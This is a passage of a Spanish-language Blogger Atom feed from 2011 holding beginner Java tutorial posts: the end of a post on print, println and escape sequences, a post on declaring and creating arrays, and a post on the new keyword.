href="http://4.bp.blogspot.com/-TIC9qreRPFw/Tsi7PrgP3sI/AAAAAAAABTY/ngb9urZtwGo/s1600/Ejecucion_ProgramaJava.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5676993208350924482" src="http://4.bp.blogspot.com/-TIC9qreRPFw/Tsi7PrgP3sI/AAAAAAAABTY/ngb9urZtwGo/s400/Ejecucion_ProgramaJava.png" style="cursor: hand; cursor: pointer; display: block; height: 234px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;PrimerPrograma en ejecucion utilizando JCreator un entorno de Desarrollo integrado (IDE).&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;El metodo &lt;span style="font-weight: bold;"&gt;print&lt;/span&gt; a diferencia de &lt;span style="font-weight: bold;"&gt;println&lt;/span&gt; despues de mostrar su argumento, print no posiciona el curso de salida al inicio de la siguiente linea en la ventana de comandos. Cada instruccion print o println continua mostrando caracteres a partir de donde la ultima instruccion print o println dejo de mostrar caracteres.&lt;br /&gt;&lt;br /&gt;La&lt;span style="font-style: italic;"&gt; barra diagonal inversa&lt;/span&gt; ( \ ) se conoce como &lt;span style="font-style: italic;"&gt;caracter de escape&lt;/span&gt;. Este caracter indica a los metodos &lt;span style="font-weight: bold;"&gt;print&lt;/span&gt; y &lt;span style="font-weight: bold;"&gt;println&lt;/span&gt; de &lt;span style="font-weight: bold;"&gt;System.out&lt;/span&gt; que se va imprimir un &lt;span style="font-style: italic;"&gt;"caracter especial"&lt;/span&gt;. Cuando aparece una barra diagonal inversa en una cadena de caracteres, Java lo que hace es combinar el siguiente caracter con la barra diagonal inversa para mostrar una &lt;span style="font-style: italic;"&gt;secuencia de escape&lt;/span&gt;. La secuancia de escape \n representa el caracter de nueva linea. Cuando aparece un caracter de nueva linea en una cadena que se va imprimir con &lt;span style="font-weight: bold;"&gt;System.out&lt;/span&gt;, el caracter de nueva linea ( \n ) hace que el cursor de salida de pantalla se desplace al inicio de la siguiente linea en la ventana de comandos.&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Java-Program-Harvey-M-Deitel/dp/0136053068/ref=sr_1_6?ie=UTF8&amp;amp;qid=1321748729&amp;amp;sr=8-6"&gt;Java: How to Program, 8th Edition&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ra-ma.es/libros/JAVA-2-CURSO-DE-PROGRAMACION-4-EDICION/26763/978-84-9964-032-7"&gt;Java 2: Curso de Programación - Fco. Javier Ceballos&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-9223299141518815330?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=kgORqllW1Rk:x0yYtDpi0Ik:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=kgORqllW1Rk:x0yYtDpi0Ik:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=kgORqllW1Rk:x0yYtDpi0Ik:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=kgORqllW1Rk:x0yYtDpi0Ik:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=kgORqllW1Rk:x0yYtDpi0Ik:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=kgORqllW1Rk:x0yYtDpi0Ik:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=kgORqllW1Rk:x0yYtDpi0Ik:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/kgORqllW1Rk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/9223299141518815330/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=9223299141518815330" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/9223299141518815330?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/9223299141518815330?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/kgORqllW1Rk/introduccion-la-programacion-en-java.html" title="Introducción a la Programación en Java" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-kZd9jQOwCTY/Tsi6pLra6vI/AAAAAAAABS0/e48x91OGaqI/s72-c/traduccion_compilador.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/introduccion-la-programacion-en-java.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYHSXo_fip7ImA9WhRSF0g.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-5587310441226411597</id><published>2011-11-19T19:35:00.009-06:00</published><updated>2011-11-19T19:55:38.446-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-19T19:55:38.446-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Notas" /><title>Arreglos en Java</title><content type="html">&lt;div style="text-align: justify;"&gt;Los arreglos son &lt;span style="font-style: italic;"&gt;estructuras de datos&lt;/span&gt; que consisten de elementos de datos relacionados, del mismo tipo. Los &lt;span style="font-style: italic;"&gt;arreglos&lt;/span&gt; son entidades de longitud fija, conservan siempre la misma longitud una vez creados.&lt;br /&gt;&lt;br /&gt;En Java, un arreglo es un grupo de variables (llamadas &lt;span style="font-style: italic;"&gt;elementos&lt;/span&gt; o &lt;span style="font-style: italic;"&gt;componentes&lt;/span&gt;) que contienen valores del mismo tipo. Los tipos en Java se dividen en dos categorias: &lt;span style="font-style: italic;"&gt;Tipos primitivos&lt;/span&gt; y &lt;span style="font-style: italic;"&gt;tipos de referencia&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Los arreglos en Java son objetos, por lo que se consideran como tipos de referencia. Los elementos de un arreglo en Java pueden ser tipos primitivos o de referencia ( incluyendo arreglos). Para hace referencia a un alemento especifico en un arreglo, debemos especificar el nombre de la referencia al arreglo y el numero de la posicion del elemento en el arreglo. El numero de la posicion del elemento se conoce formalmente como el &lt;span style="font-style: italic;"&gt;indice&lt;/span&gt; o &lt;span style="font-style: italic;"&gt;subindice&lt;/span&gt; del elemento.&lt;br /&gt;&lt;br /&gt;En la siguiente figura se muestra una representacion logica de un arreglo de enteros, llamado C. Este arreglo llamado C contiene 8 elementos ( es decir, variables). El primer elemento en cualquier arreglo tiene el &lt;span style="font-style: italic;"&gt;indice cero&lt;/span&gt; ( lo que se denomina como &lt;span style="font-style: italic;"&gt;elemento cero&lt;/span&gt;). Por lo tanto, el primer elemento del arreglo C es C [ 0 ], el segundo elemento es C [ 1 ], el octavo elemento es C [ 7 ]. Un indice debe ser un entero positivo o una expresion entera que pueda promoverse a un int.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-QE47REv8Its/TshZs8jPVGI/AAAAAAAABSk/svk5koIurrU/s1600/Arreglos_Java.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 239px;" src="http://1.bp.blogspot.com/-QE47REv8Its/TshZs8jPVGI/AAAAAAAABSk/svk5koIurrU/s400/Arreglos_Java.png" alt="" id="BLOGGER_PHOTO_ID_5676885959003559010" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Arreglo con 8 elementos.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El &lt;span style="font-style: italic;"&gt;nombre&lt;/span&gt; de la referencia al arreglo es &lt;span style="font-style: italic;"&gt;C&lt;/span&gt;. Todo objeto arreglo en Java &lt;span style="font-style: italic;"&gt;conoce&lt;/span&gt; su propia longitud y mantiene esta informacion en un campo del objeto arreglo, llamado &lt;span style="font-weight: bold; font-style: italic;"&gt;length&lt;/span&gt;. La expresion &lt;span style="font-weight: bold; font-style: italic;"&gt;C.length&lt;/span&gt; accede al campo &lt;span style="font-weight: bold; font-style: italic;"&gt;length&lt;/span&gt; del arreglo &lt;span style="font-style: italic;"&gt;C&lt;/span&gt; para determinar la longitud del arreglo. La manera en que se hace referencia a los 8 elementos de este arreglo es: C [ 0 ], C[ 1 ]. C[ 2 ], ..., C [ 7 ]. El valor de C [ 0 ] es 12. el valor de C[ 1 ] es 3, el valor de C[ 2 ] es 27. Para calcular la suma de los valores contenidos en los primeros tres elementos del arreglo C y guardar el resultado en la variable &lt;span style="font-weight: bold;"&gt;suma&lt;/span&gt;, lo escribiremos de la siguiente forma:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;suma&lt;/span&gt; =  C[ 0 ] + C[ 1 ] + C[ 2 ];&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Para divir el valor del septimo elemento del arreglo C entre 4 y asigncar el resultado a la variable &lt;span style="font-style: italic;"&gt;X&lt;/span&gt;, lo escribiremos de la siguiente manera:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;X&lt;/span&gt; = C[ 6 ] / 4;&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Declaracion y Creacion de Arreglos en Java&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Los objetos arreglo ocupan espacio en memoria. Todos los objetos en Java ( incluyendo los arreglos) deben crearse con la &lt;a href="http://delfirosales.blogspot.com/2011/11/java-la-palabra-clave-new.html"&gt;palabra clave &lt;span style="font-weight: bold;"&gt;new&lt;/span&gt;&lt;/a&gt;. Para crear un arreglo se debe especificar el tipo de cada elemento y el numero de elementos que se requieren para el arreglo, como parte de una &lt;span style="font-style: italic;"&gt;expresion para crear un arreglo&lt;/span&gt; que utiliza la &lt;a href="http://delfirosales.blogspot.com/2011/11/java-la-palabra-clave-new.html"&gt;palabra clave &lt;span style="font-weight: bold;"&gt;new&lt;/span&gt;&lt;/a&gt;. La siguiente declaracion y expresion crea 8 elementos para el arreglo de entros C del anterior figura.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;int&lt;/span&gt; C[] = &lt;span style="color: rgb(51, 102, 255);"&gt;new&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;int&lt;/span&gt; [ 8 ];&lt;/code&gt;&lt;/pre&gt;Este proceso puede realizarse en dos pasos, tal como se muestra a continuacion.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;int&lt;/span&gt; C[];            &lt;span style="font-style: italic;"&gt;// declara la varibale arreglo&lt;/span&gt;&lt;br /&gt;C = &lt;span style="color: rgb(51, 102, 255);"&gt;new int&lt;/span&gt; [ 8 ];    &lt;span style="font-style: italic;"&gt;// crea el arreglo&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Un programa en Java puede crear varios arreglos en una sola declaracion. La siguiente declaracion de un arreglo &lt;span style="font-weight: bold;"&gt;String &lt;/span&gt;reserva 50 elementos para arregloA y 32 para arregloB.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(102, 204, 204);"&gt;String&lt;/span&gt; arregloA[] = &lt;span style="font-weight: bold; color: rgb(51, 102, 255);"&gt;new&lt;/span&gt; &lt;span style="color: rgb(102, 204, 204);"&gt;String&lt;/span&gt; [ 50 ], arregloB[] = &lt;span style="color: rgb(51, 102, 255);"&gt;new&lt;/span&gt; &lt;span style="color: rgb(102, 204, 204);"&gt;String&lt;/span&gt;[ 32 ];&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Al declarar un arreglo, su tipo y los corchetes puende conbinarse al principio de la declaracion para indicar que todos los identificadores en la declaracion son referencias a arreglos. Por ejemplo.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;double&lt;/span&gt;[] arreglo1, arreglo2;&lt;/code&gt;&lt;/pre&gt;declara a un &lt;span style="font-style: italic;"&gt;arreglo1&lt;/span&gt; y &lt;span style="font-style: italic;"&gt;arreglo2&lt;/span&gt; como referencia a arreglos de valores &lt;span style="font-style: italic; font-weight: bold;"&gt;double&lt;/span&gt;. La siguiente declaracion reserva  12 elementos para &lt;span style="font-style: italic;"&gt;arreglo1&lt;/span&gt; y 25 para &lt;span style="font-style: italic;"&gt;arreglo2&lt;/span&gt;.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;double&lt;/span&gt;[] arreglo1 = &lt;span style="color: rgb(51, 102, 255);"&gt;new double&lt;/span&gt;[ 12 ], arreglo2 = &lt;span style="color: rgb(51, 102, 255);"&gt;new double&lt;/span&gt;[ 25 ];&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Un programa puede declarar arreglos de cualquier tipo. Por ejemplo, cada uno de los elementos de un arreglo &lt;span style="font-weight: bold;"&gt;int&lt;/span&gt; es una variable &lt;span style="font-weight: bold;"&gt;int&lt;/span&gt;. Cada uno de los elementos de una rreglo &lt;span style="font-weight: bold;"&gt;String&lt;/span&gt; es una referencia a un objeto &lt;span style="font-weight: bold;"&gt;String&lt;/span&gt;.&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Java-Program-Harvey-M-Deitel/dp/0136053068/ref=sr_1_6?ie=UTF8&amp;amp;qid=1321748729&amp;amp;sr=8-6"&gt;Java: How to Program, 8th Edition&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-5587310441226411597?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=edCoAF_uYh0:-HJN1MoWTzM:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=edCoAF_uYh0:-HJN1MoWTzM:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=edCoAF_uYh0:-HJN1MoWTzM:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=edCoAF_uYh0:-HJN1MoWTzM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=edCoAF_uYh0:-HJN1MoWTzM:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=edCoAF_uYh0:-HJN1MoWTzM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=edCoAF_uYh0:-HJN1MoWTzM:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/edCoAF_uYh0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/5587310441226411597/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=5587310441226411597" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/5587310441226411597?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/5587310441226411597?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/edCoAF_uYh0/arreglos-en-java.html" title="Arreglos en Java" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-QE47REv8Its/TshZs8jPVGI/AAAAAAAABSk/svk5koIurrU/s72-c/Arreglos_Java.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/arreglos-en-java.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE4HRn44fCp7ImA9WhRSF0g.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-3424958775634877844</id><published>2011-11-19T19:32:00.002-06:00</published><updated>2011-11-19T19:35:37.034-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-19T19:35:37.034-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Notas" /><title>Java - La Palabra Clave new</title><content type="html">&lt;div style="text-align: justify;"&gt;La instruccion especifica para crear un Objeto en Java es la palabra clave &lt;span style="font-weight: bold;"&gt;new&lt;/span&gt;. La &lt;span style="font-style: italic;"&gt;palabra clave&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;new&lt;/span&gt; comienza una &lt;span style="font-style: italic;"&gt;expresion del creacion de instancia de una clase&lt;/span&gt;, la cual crea un objeto del tipo especificado a la derecha del &lt;span style="font-weight: bold;"&gt;new&lt;/span&gt;. El proceso de crear nuevos objetos se conoce tambien como &lt;span style="font-style: italic;"&gt;crear una instancia de&lt;/span&gt;, o &lt;span style="font-style: italic;"&gt;instanciar un objeto&lt;/span&gt;. El valor entre parentisis despues del tipo de expresion de creacion de instancia de una clase se utiliza para &lt;span style="font-style: italic;"&gt;inicializar&lt;/span&gt; ( es decir, dar un valor a) el nuevo objeto.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Ejemplo:&lt;pre&gt;&lt;code&gt;Circulo Figura = &lt;span style="color: rgb(51, 102, 255);"&gt;new&lt;/span&gt; Circulo();&lt;/code&gt;&lt;/pre&gt;El operador &lt;span style="font-weight: bold;"&gt;new&lt;/span&gt; realiza las siguientes acciones:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Separa memoria para el nuevo objeto&lt;/li&gt;&lt;li&gt;Invoca el método de inicio de la clase llamado constructor.&lt;/li&gt;&lt;li&gt;Retorna la referencia a un nuevo objeto.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Por lo general, los objetos se crean con &lt;span style="font-weight: bold;"&gt;new&lt;/span&gt;.  El uso del operador new en Java es similar al del comando malloc en C y el operador new en C++&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-3424958775634877844?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=ow42LF_TAzc:eO82fxr2lWc:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=ow42LF_TAzc:eO82fxr2lWc:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=ow42LF_TAzc:eO82fxr2lWc:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=ow42LF_TAzc:eO82fxr2lWc:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" 